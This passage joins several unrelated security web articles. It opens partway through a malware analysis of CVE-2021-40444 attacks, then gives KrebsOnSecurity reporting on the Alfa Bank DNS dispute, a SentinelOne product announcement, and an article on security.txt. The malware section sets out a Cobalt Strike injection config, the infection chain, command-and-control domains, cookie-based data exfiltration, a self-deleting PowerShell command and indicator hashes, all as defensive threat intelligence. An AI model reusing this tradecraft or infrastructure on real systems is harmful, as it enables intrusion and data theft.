  "ProcInject_Execute": [
    "CreateThread",
    "CreateRemoteThread",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "VirtualAllocEx",
  "bUsesCookies": "True",
  "HostHeader": ""
}

The Cobalt Strike payload DLL was built using the Boost C++ framework and has lib_openssl (1.1.0f) statically compiled into it:

It downloads a remote shellcode:

The payload then uses WMI via COM (executed by the svchost.exe hosting RasMan [netsvcs]) to execute one of three built-in Windows apps:

On Windows 10, it’s usually wabmig.exe, the built-in “Windows Mail” application (%ProgramFiles%windows mailwabmig.exe). The payload DLL assumes SeDebugPrivilege and injects the shellcode into wabmig.exe. It then uses the same WMI process to run a PowerShell instance that deletes itself from the disk.

powershell -c "Sleep 5 ; Remove-Item -Path "C:Users..." -Force

Execution Flow

WinWord.exe -> Control.exe -> rundll32.exe -> requests payload from hxxps://macuwuf[.]com/get_load (User Agent: "bumblebee") -> svchost.exe (Remote Access Connection Manager, "svchost.exe -k netsvcs") -> wmiprvse.exe (WMI) -> wabmig.exe ("Windows Mail") -> Code Injection ->

       Request: dodefoh[.]com/static-directory/media.gif
       Headers: (Host: microsoft.com Headers: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9) -> request "dodefoh[.]com/ml.html?dbprefix=false"
       Host: microsoft.com Connection: close Cookie: HSID=qa4NarNdu0U3b92eKlbW78+/fox2qG9E/+DLkr/F8TZ2N3a+n3wlLc1Z/Z3cRoKi68NNajtE14NxgljBdE8Y1hHYU5Ix4JH3xIkib6AaM404V4CW3ztax68SJPOsiKpWUaE/D46n2EPLDF7ZDFdcUV/7p95zuv322d/2d988ktya1gq1
       
       Request: joxinu.com/hr.html?dbprefix=false
       Headers: 
       Host: microsoft.com Connection: close Cookie: HSID=Oq81LSBcgwKkbuXZuVfuqFy+RsvlqVcDbOHz1SzEyXHlNk75DH0dal5YxdpPR7rleMJ1LahF78Tig2CG504gkYLZa9Wi4amwV4gaKDMbC8qrVrjRTDpigDwTHLQ/iZIRwqAHSB2m4ARYDWaen1ZkFsz6n5ngu8WxSt7OMEw9qpsJ1zLy
       
powershell.exe -> delete payload dll       

The wabmig.exe sends an average of 400 HTTP GET requests of +-1.05kb each, randomized between the two host names joxinu[.]com and dodefoh[.]com at /avatars, /ml.js?restart=false and /hr.html?dbprefix=false. It leaks info from the host using encrypted data wrapped in base64 in the HTTP Header “HSID”.

Environments that are not setup to scan GET requests at the gateway/proxy would possibly overlook this traffic, or not properly recognize it as anomalous or malicious.

In the exfiltration part, one of the servers is typically in Germany and the other one is in the US.

Responses to Microsoft’s Patch for CVE-2021-40444

Since the discovery of the first samples, several exploit document builders have been published. These allow pentesters, defenders, and also lower caliber attackers to create exploit docs leveraging this vulnerability.

On the latest patch Tuesday (Sep 14, 2021), Microsoft released a patch for the CVE-2021-40444 vulnerability. Following the release of the patch, Microsoft published its own analysis of the attack using this exploit.

Chinese security researcher sunglin from 404 Team of KnownSec has published a reverse engineering analysis of Microsoft’s patch which demonstrates how Microsoft implemented the fix, overwriting filenames containing a “/” with “”.

There are already new tricks being used in order to bypass signatures and static detections for this exploit, the first being in-the-wild samples found using XML Entity Encoding and also a technique which seems to bypass Windows authenticode signature checking for .cab files being larger than 1Gb.

On Sep 19, 2021, a new variant of this exploit was published. This new variant doesn’t require a .cab file for exploitation and instead uses a .wsf Windows script file to execute code. In addition, researchers have suggested connections between the threat actors and the Ryuk ransomware group, although the exact nature of the connection remains unclear.

Defending Against Exploitation of CVE-2021-40444

Despite the fact that Microsoft has patched the underlying vulnerability, many organizations remain vulnerable to this type of attack either through failing to update in a timely fashion or from new variants that don’t use a .cab file.

SentinelOne customers are protected against this and related attacks.

Conclusion

Targeted attacks exploiting CVE-2021-40444 have been seen in the wild and appear to be ongoing. Sectors including critical infrastructure like Energy, Finance, IT and Telecoms have all reportedly been targeted, among others. SentinelOne urges enterprise security teams to take appropriate measures to ensure they are protected against this attack vector. If you would like to know more about how SentinelOne can keep your business safe from this and other attacks, contact us for more information or request a free demo.

Indicators of Compromise

Domains
dodefoh[.]com
hidusi[.]com
joxinu[.]com
macuwuf[.]com
pawevi[.]comsagoge[.]comrexagi[.]com
comecal[.]comcanarytokens[.]com

Word Document Samples
199b9e9a7533431731fbb08ff19d437de1de6533f3ebbffc1e13eeffaa4fd455
34ec4f2defd549b7c9a026b5498d09f5595ffe1396fe56509743820f20c610be
3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf
5b85dbe49b8bc1e65e01414a0508329dc41dc13c92c08a4f14c71e3044b06185
5e6e8883173603a0b3811302ee14a14c4f5708f1b756f2906a0749dd2fd1cfa0
938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52
a5f55361eff96ff070818640d417d2c822f9ae1cdd7e8fa0db943f37f6494db9
cb85def3a47325722d0f87adb1975f6536de09095c1af6229bdb12b7fc32423b
d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745
e48f134c321fdc31a646e747993b1592f576519d7ebbc0ae9b0eac7337eaf422

Cab Files
0efb0b8a4fd50dadd8092a50d64ce9eb81610c90704e1c3a973f00a431cf6738
1a59dd48c64354e42e5ebb77503cd661fcb4106de350345a7ab0a3c13145fe3a
1fb13a158aff3d258b8f62fe211fabeed03f0763b2acadbccad9e8e39969ea00
a8e04dc3ba71c5e56898a845d43e2d43ec39660679c971831d1a32740d3b125c
aabfa77fa08e7eae93dc418f53a29f9c2b660f3ef621c9cafb8c5ca42613ad56

DLL/EXE Payloads (championship.inf)
065308cf26326d94f18e246a31b14f3ca5425da2a9265c347856f31a49c2cc5c
1f97a721bba47628a3f3315280779cf19a2a935659976ffaab91279ff48dd091
3834f6a04b0a9cca41653967e46934932089adaa4de23ff5cfeecdd0e9258e72
47966d46657412e76755ca9c0f5d044e166feec9baaff30938504ddca4df3d37
6eedf45cb91f6762de4e35e36bcb03e5ad60ce9ac5a08caeb7eda035cd74762b
bd4b9f4b79f8a9eedc12abe3919cecb041c61022485b87b3a5cdfd1891e30670
cb091dbfd10645ba4ebf06d272e98cd98a2359bc0a0e115bf1ae6ad0073461e0
fbe575c75f754546bea925e921664ccf951900b10dbc4b5a3b4e2155333967a8


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Indictment, Lawsuits Revive Trump-Alfa Bank Story

In October 2016, media outlets reported that data collected by some of the world’s most renowned cybersecurity experts had identified frequent and unexplained communications between an email server used by the Trump Organization and Alfa Bank, one of Russia’s largest financial institutions. Those publications set off speculation about a possible secret back-channel of communications, as well as a series of lawsuits and investigations that culminated last week with the indictment of the same former federal cybercrime prosecutor who brought the data to the attention of the FBI five years ago.

The first page of Alfa Bank’s 2020 complaint.

Since 2018, access to an exhaustive report commissioned by the U.S. Senate Armed Services Committee on data that prompted those experts to seek out the FBI has been limited to a handful of Senate committee leaders, Alfa Bank, and special prosecutors appointed to look into the origins of the FBI investigation on alleged ties between Trump and Russia.

That report is now public, ironically thanks to a pair of lawsuits filed by Alfa Bank, which doesn’t directly dispute the information collected by the researchers. Rather, it claims that the data they found was the result of a “highly sophisticated cyberattacks against it in 2016 and 2017” intended “to fabricate apparent communications” between Alfa Bank and the Trump Organization.

The data at issue refers to communications traversing the Domain Name System (DNS), a global database that maps computer-friendly coordinates like Internet addresses (e.g., 8.8.8.8) to more human-friendly domain names (example.com). Whenever an Internet user gets online to visit a website or send an email, the user’s device sends a query through the Domain Name System.

Many different entities capture and record this DNS data as it traverses the public Internet, allowing researchers to go back later and see which Internet addresses resolved to what domain names, when, and for how long. Sometimes the metadata generated by these lookups can be used to identify or infer persistent network connections between different Internet hosts.

The DNS strangeness was first identified in 2016 by a group of security experts who told reporters they were alarmed at the hacking of the Democratic National Committee, and grew concerned that the same attackers might also target Republican leaders and institutions.

Scrutinizing the Trump Organization’s online footprint, the researchers determined that for several months during the spring and summer of 2016, Internet servers at Alfa Bank in Russia, Spectrum Health in Michigan, and Heartland Payment Systems in New Jersey accounted for nearly all of the several thousand DNS lookups for a specific Trump Organization server (mail1.trump-email.com).

This chart from a court filing Sept. 14, 2021 shows the top sources of traffic to the Trump Organization email server over a four month period in the spring and summer of 2016. DNS lookups from Alfa Bank constituted the majority of those requests.

The researchers said they couldn’t be sure what kind of communications between those servers had caused the DNS lookups, but concluded that the data would be extremely difficult to fabricate.

As recounted in this 2018 New Yorker story, New York Times journalist Eric Lichtblau met with FBI officials in late September 2016 to discuss the researchers’ findings. The bureau asked him to hold the story because publishing might disrupt an ongoing investigation. On Sept. 21, 2016, Lichtblau reportedly shared the DNS data with B.G.R., a Washington lobbying firm that worked with Alfa Bank.

Lichtblau’s reporting on the DNS findings ended up buried in an October 31, 2016 story titled “Investigating Donald Trump, F.B.I. Sees No Clear Link to Russia,” which stated that the FBI “ultimately concluded that there could be an innocuous explanation, like marketing email or spam,” that might explain the unusual DNS connections.

But that same day, Slate’s Franklin Foer published a story based on his interactions with the researchers. Foer noted that roughly two days after Lichtblau shared the DNS data with B.G.R., the Trump Organization email server domain vanished from the Internet — its domain effectively decoupled from its Internet address.

Foer wrote that The Times hadn’t yet been in touch with the Trump campaign about the DNS data when the Trump email domain suddenly went offline.  Odder still, four days later the Trump Organization created a new host — trump1.contact-client.com — and the very first DNS lookup to that new domain came from servers at Alfa Bank.

The researchers concluded that the new domain enabled communication to the very same server via a different route.

“When a new host name is created, the first communication with it is never random,” Foer wrote. “To reach the server after the resetting of the host name, the sender of the first inbound mail has to first learn of the name somehow. It’s simply impossible to randomly reach a renamed server.”

“That party had to have some kind of outbound message through SMS, phone, or some noninternet channel they used to communicate [the new configuration],” DNS expert Paul Vixie told Foer. “The first attempt to look up the revised host name came from Alfa Bank. If this was a public server, we would have seen other traces. The only look-ups came from this particular source.”

THE THEORIES

Both the Trump organization and Alfa Bank have denied using or establishing any sort of secret channel of communications, and have offered differing explanations as to how the data gathered by the experts could have been faked or misinterpreted.

In a follow-up story by Foer, the Trump Organization suggested that the DNS lookups might be the result of spam or email advertising various Trump properties, and said a Florida based marketing firm called Cendyn registered and managed the email server in question.

But Cendyn told CNN that its contract to provide email marketing services to the Trump Organization ended in March 2016 — weeks before the DNS lookups chronicled by the researchers started appearing. Cendyn told CNN that a different client had been communicating with Alfa Bank using Cendyn communications applications — a claim that Alfa Bank denied.

Alfa Bank subsequently hired computer forensics firms Mandiant and Stroz Friedberg to examine the DNS data presented by the researchers. Both companies concluded there was no evidence of email communications between Alfa Bank and the Trump Organization. However, both firms also acknowledged that Alfa Bank didn’t share any DNS data for the relevant four-month time period identified by the researchers.

Another theory for the DNS weirdness outlined in Mandiant’s report is that Alfa Bank’s servers performed the repeated DNS lookups for the Trump Organization server because its internal Trend Micro antivirus product routinely scanned domains in emails for signs of malicious activity — and that incoming marketing emails promoting Trump properties could have explained the traffic.

The researchers maintained this did not explain similar and repeated DNS lookups made to the Trump Organization email server by Spectrum Health, which is closely tied to the DeVos family (Betsy DeVos would later be appointed Secretary of Education by President Trump).

FISHING EXPEDITION

In June 2020, Alfa Bank filed two “John Doe” lawsuits, one in Pennsylvania and another in Florida. Their stated purpose was to identify the anonymous hackers behind the “highly sophisticated cyberattacks” that they claim were responsible for the mysterious DNS lookups.

Alfa Bank has so far subpoenaed at least 49 people or entities — including all of the security experts quoted in the 2016 media stories referenced above, and others who’d merely offered their perspectives on the matter via social media. At least 15 of those individuals or entities have since been deposed. Alfa Bank’s most recent subpoena was issued Aug. 26, 2021.

L. Jean Camp, a professor at the Indiana University School of Informatics and Computing, was among the first to publish some of the DNS data collected by the research group. In 2017, Alfa Bank sent Camp a series of threatening letters suggesting she was “a central figure” in the what the company would later claim was “malicious cyber activity targeting its computer network.” The letters and responses from her attorneys are published on her website.

Camp’s attorneys and Indiana University have managed to keep her from being deposed by both Alfa Bank and John H. Durham, the special counsel appointed by the Trump administration to look into the origins of the Russia investigation (although Camp said Alfa Bank was able to obtain certain emails through the school’s public records request policy).

“If MIT had had the commitment to academic freedom that Indiana University has shown throughout this entire process, Aaron Swartz would still be alive,” Camp said.

Camp said she’s bothered that the Alfa Bank and Trump special counsel investigations have cast the researchers in such a sinister light, when many of those subpoenaed have spent a lifetime trying to make the Internet more secure.

“Not including me, they’ve subpoenaed some people who are significant, consistent and important contributors to the security of American networks against the very attacks coming from Russia,” Camp said. “I think they’re using law enforcement to attack network security, and to determine the ways in which their previous attacks have been and are being detected.”

Nicholas Weaver, a lecturer at the computer science department at University of California, Berkeley, told KrebsOnSecurity he complied with the subpoena requests for specific emails he’d sent to colleagues about the DNS data, noting that Alfa Bank could have otherwise obtained them through the schools’ public records policy.

Weaver said Alfa Bank’s lawsuit has nothing to do with uncovering the truth about the DNS data, but rather with intimidating and silencing researchers who’ve spoken out about it.

“It’s clearly abusive, so I’m willing to call it out for what it is, which is a John Doe lawsuit for a fishing expedition,” Weaver said.

TURNABOUT IS FAIR PLAY

Among those subpoenaed and deposed by Alfa Bank was Daniel J. Jones, a former investigator for the FBI and the U.S. Senate who is perhaps best known for his role in leading the investigation into the U.S. Central Intelligence Agency’s use of torture in the wake of the Sept. 11 attacks.

Jones runs The Democracy Integrity Project (TDIP), a nonprofit in Washington, D.C. whose stated mission includes efforts to research, investigate and help mitigate foreign interference in elections in the United States and its allies overseas. In 2018, U.S. Senate investigators asked TDIP to produce and share a detailed analysis of the DNS data, which it did without payment. That lengthy report was never publicly released by the committee nor anyone else.

That is, until Sept. 14, 2021, when Jones and TDIP filed their own lawsuit against Alfa Bank. According to Jones’ complaint, Alfa Bank had entered into a confidentiality agreement regarding certain sensitive and personal information Jones was compelled to provide as part of complying with the subpoena.

Yet on Aug. 20, Alfa Bank attorneys sent written notice that it was challenging portions of the confidentiality agreement. Jones’ complaint asserts that Alfa Bank intends to publicly file portions of these confidential exhibits, an outcome that could jeopardize his safety.

This would not be the first time testimony Jones provided under a confidentiality agreement ended up in the public eye. TDIP’s complaint notes that before Jones met with FBI officials in 2017 to discuss Russian disinformation campaigns, he was assured by two FBI agents that his identity would be protected from exposure and that any information he provided to the FBI would not be associated with him.

Nevertheless, in 2018 the House Permanent Select Committee on Intelligence released a redacted report on Russian active measures. The report blacked out Jones’ name, but a series of footnotes in the report named his employer and included links to his organization’s website. Jones’ complaint spends several pages detailing the thousands of death threats he received after that report was published online.

THE TDIP REPORT

As part of his lawsuit against Alfa Bank, Jones published 40 pages from the 600+ page report he submitted to the U.S. Senate in 2018. From reviewing its table of contents, the remainder of the unpublished report appears to delve deeply into details about Alfa Bank’s history, its owners, and their connections to the Kremlin.

The report notes that unlike other domains the Trump Organization used to send mass marketing emails, the domain at issue — mail1.trump-email.com — was configured in such a way that would have prevented it from effectively sending marketing or bulk emails. Or at least prevented most of the missives sent through the domain from ever making it past spam filters.

Nor was the domain configured like other Trump Organization domains that demonstrably did send commercial email, Jones’ analysis found. Also, the mail1.trump-email.com domain was never once flagged as sending spam by any of the 57 different spam block lists published online at the time.

“If large amounts of marketing emails were emanating from mail1.trump-email.com, it’s likely that some receivers of those emails would have marked them as spam,” Jones’ 2018 report reasons. “Spam is nothing new on the internet, and mass mailings create easily observed phenomena, such as a wide dispersion of backscatter queries from spam filters. No such evidence is found in the logs.”

However, Jones’ report did find that mail1.trump-email.com was configured to accept incoming email. Jones cites testing conducted by one of the researchers who found the mail1.trump-email.com rejected messages with an automated reply saying the server couldn’t accept messages from that particular sender.

“This test reveals that either the server was configured to reject email from everyone, or that the server was configured to accept only emails from specific senders,” TDIP wrote.

The report also puts a finer point on the circumstances surrounding the disappearance of that Trump Organization email domain just two days after The New York Times shared the DNS data with Alfa Bank’s representatives.

“After the record was deleted for mail1.trump-email.com on Sept. 23, 2016, Alfa Bank and Spectrum Health continued to conduct DNS lookups for mail1.trump-email.com,” reads the report. “In the case of Alfa Bank, this behavior persisted until late Friday night on Sept. 23, 2016 (Moscow time). At that point, Alfa Bank ceased its DNS lookups of mail1.trump-email.com.”

Less than ten minutes later, a server assigned to Alfa Bank was the first source in the DNS data-set examined (37 million DNS records from January 1, 2016 to January 15, 2017) to conduct a DNS look-up for the server name ‘trump1.contact-client.com.’ The answer received was 66.216.133.29 — the same IP address used for mail1.trump-email.com that was deleted in the days after The New York Times inquired with Alfa Bank about the unusual server connections.

“No servers associated with Alfa Bank ever conducted a DNS lookup for trump1.contact-client.com again, and the next DNS look-up for trump1.contact-client.com did not occur until October 5, 2016,” the report continues. “Three of these five look-ups from October 2016 originated from Russia.”

A copy of the complaint filed by Jones against Alfa Bank is available here (PDF).

THE SUSSMANN INDICTMENT

The person who first brought the DNS data to the attention of the FBI in Sept. 2016 was Michael Sussmann, a 57-year-old cybersecurity lawyer and former computer crimes prosecutor who represented the Democratic National Committee and Hillary Clinton’s presidential campaign.

Last week, the special counsel Durham indicted Sussmann on charges of making a false statement to the FBI. The New York Times reports the accusation focuses on a meeting Sussmann had Sept. 19, 2016 with James A. Baker, the FBI’s top lawyer at the time. Sussmann had reportedly met with Baker to discuss the DNS data uncovered by the researchers.

“The indictment says Mr. Sussmann falsely told the F.B.I. lawyer that he had no clients, but he was really representing both a technology executive and the Hillary Clinton campaign,” The Times wrote.

Sussmann has pleaded not guilty to the charges.

ANALYSIS

The Sussmann indictment refers to the various researchers who contacted him in 2016 by placeholder names, such as Tech Executive-1 and Researcher-1 and Researcher-2. The tone of indictment reads as if describing a vast web of nefarious or illegal activities, although it doesn’t attempt to address the veracity of any specific concerns raised by the researchers.  Here is one example:

“From in or about July 2016 through at least in or about February 2017, however, Originator-I, Researcher-I, and Researcher-2 also exploited Internet Company­-1′ s data and other data to assist Tech Executive-I in his efforts to conduct research concerning Trump’s potential ties to Russia.”

Quoting from emails between Tech Executive-1 and the researchers, the indictment makes clear that Mr. Durham has subpoenaed many of the same researchers who’ve been subpoenaed and or deposed in the concurrent John Doe lawsuits from Russia’s Alfa Bank.

To date, Alfa Bank has yet to name a single defendant in its lawsuits. In the meantime, the Sussmann indictment is being dissected by many users on social media who have been closely following the Trump administration’s inquiry into the Russia investigation. The majority of these social media posts appear to be crowdsourcing an effort to pinpoint the real-life identities behind the placeholder names in the indictment.

At one level, it doesn’t matter which explanation of the DNS data you believe: There is a very real possibility that the way this entire inquiry has been handled could negatively affect the FBI’s ability to collect crucial and sensitive investigative tips for years to come.

After all, who in their right mind is going to volunteer confidential information to the FBI if they fear there’s even the slightest chance that future shifting political winds could end up seeing them prosecuted, threatened with physical violence or death on social media, and/or exposed to expensive legal fees and depositions from private companies as a result?

Such a perception could give rise to a sort of “chilling effect,” discouraging honest, well-meaning people from speaking up when they suspect or know about a potential threat to national security or sovereignty.

This would be a less-than-ideal outcome in the context of today’s top cyber threat for most organizations: Ransomware. With few exceptions, the U.S. government has watched helplessly as organized cybercrime gangs — many of whose members hail from Russia or from former Soviet nations that are friendly to Moscow — have extorted billions of dollars from victims, and disrupted or ruined countless businesses.

To help shift the playing field against ransomware actors, the Justice Department and other federal law enforcement agencies have been trying to encourage more ransomware victims to come forward and share sensitive details about their attacks. The U.S. government has even offered up to $10 million for information leading to the arrest and conviction of cybercriminals involved in ransomware.

But given the way the government has essentially shot the all of the messengers with its handling of the Sussmann case, who could blame those with useful and valid tips if they opted to stay silent?

Feature Spotlight: Introducing Singularity™ Conditional Policy

While security is taking the front row for many organizations, we still see too many others getting breached, facing the realities of ransomware, data theft, and extortion. These gaps require security professionals to be more efficient, flexible, and ready to face the changes enterprises need to be competitive and grow. Cybercriminals can target any organization, and that is why we have seen organizations investing time and resources in extending their security capabilities in detection, response, and recovery.

Two significant factors contribute to an effective cyber threat defense. First, prevention capabilities are all about blocking initial access to attackers; second, efficient detection and response are needed should a device be compromised.

Looking at prevention more closely, one major challenge is that most security policies are typically generic. At best, there might be a difference between High-Value-Asset (HVA)-type endpoints versus standard endpoints, but all security policies treat endpoints as equals regardless of whether the endpoint is considered compromised or not. Complex security policies often degrade the end-user experience, while light policies increase the available attack surface.

But what if security policies could be situationally-aware and automatically dial-up or dial-back security enforcement depending upon the endpoint’s risk status?

If we could do this, organizations would be able to make risk-based decisions. Today, SentinelOne is introducing Singularity Conditional Policy, a new Zero Trust Network (ZTN) feature that dynamically applies more security controls to devices that may be compromised, and then automatically unwinds these prudently-applied limitations once the device is deemed threat-free. With Singularity Conditional Policy, SentinelOne supports organizations in implementing Zero Trust Network (ZTN) concepts.

Introducing Singularity Conditional Policy

Singularity Conditional Policy is the world’s first endpoint-centric Conditional Policy Engine. Organizations can choose what their security configuration for healthy endpoints should be and choose a different configuration for risky endpoints. With this capability, we empower organizations to dynamically change security configurations based on the risk level of the endpoint.

Endpoints are no longer trusted by default but rather are continuously verified for their health state. When an active threat impacts a SentinelOne-protected endpoint, Singularity Conditional Policy temporarily moves the endpoint to the risky endpoint group and applies the respective security configuration. Once the threat is remediated, the endpoint moves back to the healthy endpoint group and is assigned its old security configuration. In this way, Singularity Conditional Policy helps reduce the attack surface and prevent potential further damage.

Singularity Conditional Policy is available for all SentinelOne customers. To enable Singularity Conditional Policy, just follow these two simple steps.

1. Create an Endpoint Group and Configure Relevant Security Controls

In the first step, you create a new endpoint group where compromised endpoints will be transferred in real-time by the Singularity Conditional Policy Engine.

Once the new endpoint group is created, you can configure the relevant security policies.

For example, you might want to enable protection mode for suspicious activities, ensure that compromised endpoints can’t communicate with specific domains or IP ranges, and prevent usage of USB or Bluetooth peripherals.

Create New Endpoint Group and Configure Security Policies

2. Install Singularity Conditional Policy

Now that you have your risky endpoint group created and the security policies configured, you can visit the Singularity Marketplace and simply install the Singularity Conditional Policy app.

Install Singularity Conditional Policy app through Singularity Marketplace

Real-Time Security Enforcement with Singularity Conditional Policy

Once this Zero Trust app is activated, you are all set: the Singularity Conditional Policy Engine is enabled. Moving forward, in the event that an endpoint is compromised, it will move in real-time to the risky endpoint group and increase the security enforcements. Once the threat is remediated, the endpoint will move back to its original group.

Singularity Conditional Policy moving compromised endpoint to risky endpoint group and moving back to the original group once the threat is contained.

Summary

SentinelOne continues to lead the way with innovations aimed at keeping organizations safe while supporting the operational challenges of business growth. The Singularity Conditional Policy app is part of SentinelOne’s ZTN strategy helping organizations protect, detect, respond, and recover from cyber threats. Our endpoint-centric ZTN trust-but-verify approach makes it possible to evaluate the health state of endpoints and adjust security enforcements based on that state.

We can no longer assume that because the logged-on user is known to an organization, they should be safe and granted access to all corporate services and resources. Endpoints can no longer be treated equally without considering their risk profile.

Instead, security policies must be situationally-aware and dynamically enforced. Singularity Conditional Policy is SentinelOne’s first endpoint-centric Conditional Policy Engine that is now available to all SentinelOne customers. To find out more contact us or request a free demo.


Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Does Your Organization Have a Security.txt File?

It happens all the time: Organizations get hacked because there isn’t an obvious way for security researchers to let them know about security vulnerabilities or data leaks. Or maybe it isn’t entirely clear who should get the report when remote access to an organization’s internal network is being sold in the cybercrime underground.

In a bid to minimize these scenarios, a growing number of major companies are adopting “Security.txt,” a proposed new Internet standard that helps organizations describe their vulnerability disclosure practices and preferences.

An example of a security.txt file. Image: Securitytxt.org.

The idea behind Security.txt is straightforward: The organization places a file called security.txt in a predictable place — such as example.com/security.txt, or example.com/.well-known/security.txt. What’s in the security.txt file varies somewhat, but most include links to information about the entity’s vulnerability disclosure policies and a contact email address.

The security.txt file made available by USAA, for example, includes links to its bug bounty program; an email address for disclosing security related matters; its public encryption key and vulnerability disclosure policy; and even a link to a page where USAA thanks researchers who have reported important cybersecurity issues.

Other security.txt disclosures are less verbose, as in the case of HCA Healthcare, which lists a contact email address, and a link to HCA’s “responsible disclosure” policies. Like USAA and many other organizations that have published security.txt files, HCA Healthcare also includes a link to information about IT security job openings at the company.

Having a security.txt file can make it easier for organizations to respond to active security threats. For example, just this morning a trusted source forwarded me the VPN credentials for a major clothing retailer that were stolen by malware and made available to cybercriminals. Finding no security.txt file at the retailer’s site using gotsecuritytxt.com (which checks a domain for the presence of this contact file), KrebsonSecurity sent an alert to its “security@” email address for the retailer’s domain.

Many organizations have long unofficially used (if not advertised) the email address security@[companydomain] to accept reports about security incidents or vulnerabilities. Perhaps this particular retailer also did so at one point, however my message was returned with a note saying the email had been blocked. KrebsOnSecurity also sent a message to the retailer’s chief information officer (CIO) — the only person in a C-level position at the retailer who was in my immediate LinkedIn network. I still have no idea if anyone has read it.

Although security.txt is not yet an official Internet standard as approved by the Internet Engineering Task Force (IETF), its basic principles have so far been adopted by at least eight percent of the Fortune 100 companies. According to a review of the domain names for the latest Fortune 100 firms via gotsecuritytxt.com, those include Alphabet, Amazon, Facebook, HCA Healthcare, Kroger, Procter & Gamble, USAA and Walmart.

There may be another good reason for consolidating security contact and vulnerability reporting information in one, predictable place. Alex Holden, founder of the Milwaukee-based consulting firm Hold Security, said it’s not uncommon for malicious hackers to experience problems getting the attention of the proper people within the very same organization they have just hacked.

“In cases of ransom, the bad guys try to contact the company with their demands,” Holden said. “You have no idea how often their messages get caught in filters, get deleted, blocked or ignored.”

GET READY TO BE DELUGED

So if security.txt is so great, why haven’t more organizations adopted it yet? It seems that setting up a security.txt file tends to invite a rather high volume of spam. Most of these junk emails come from self-appointed penetration testers who — without any invitation to do so — run automated vulnerability discovery tools and then submit the resulting reports in hopes of securing a consulting engagement or a bug bounty fee.

This dynamic was a major topic of discussion in these Hacker News threads on security.txt, wherein a number of readers related their experience of being so flooded with low-quality vulnerability scan reports that it became difficult to spot the reports truly worth pursuing further.

Edwin “EdOverflow” Foudil, the co-author of the proposed notification standard, acknowledged that junk reports are a major downside for organizations that offer up a security.txt file.

“This is actually stated in the specification itself, and it’s incredibly important to highlight that organizations that implement this are going to get flooded,” Foudil told KrebsOnSecurity. “One reason bug bounty programs succeed is that they are basically a glorified spam filter. But regardless of what approach you use, you’re going to get inundated with these crappy, sub-par reports.”

Often these sub-par vulnerability reports come from individuals who have scanned the entire Internet for one or two security vulnerabilities, and then attempted to contact all vulnerable organizations at once in some semi-automated fashion. Happily, Foudil said, many of these nuisance reports can be ignored or grouped by creating filters that look for messages containing keywords commonly found in automated vulnerability scans.

Foudil said despite the spam challenges, he’s heard tremendous feedback from a number of universities that have implemented security.txt.

“It’s been an incredible success with universities, which tend to have lots of older, legacy systems,” he said. “In that context, we’ve seen a ton of valuable reports.”

Foudil says he’s delighted that eight of the Fortune 100 firms have already implemented security.txt, even though it has not yet been approved as an IETF standard. When and if security.txt is approved, he hopes to spend more time promoting its benefits.

“I’m not trying to make money off this thing, which came about after chatting with quite a few people at DEFCON [the annual security conference in Las Vegas] who were struggling to report security issues to vendors,” Foudil said. “The main reason I don’t go out of my way to promote it now is because it’s not yet an official standard.”

Has your organization considered or implemented security.txt? Why or why not? Sound off in the comments below.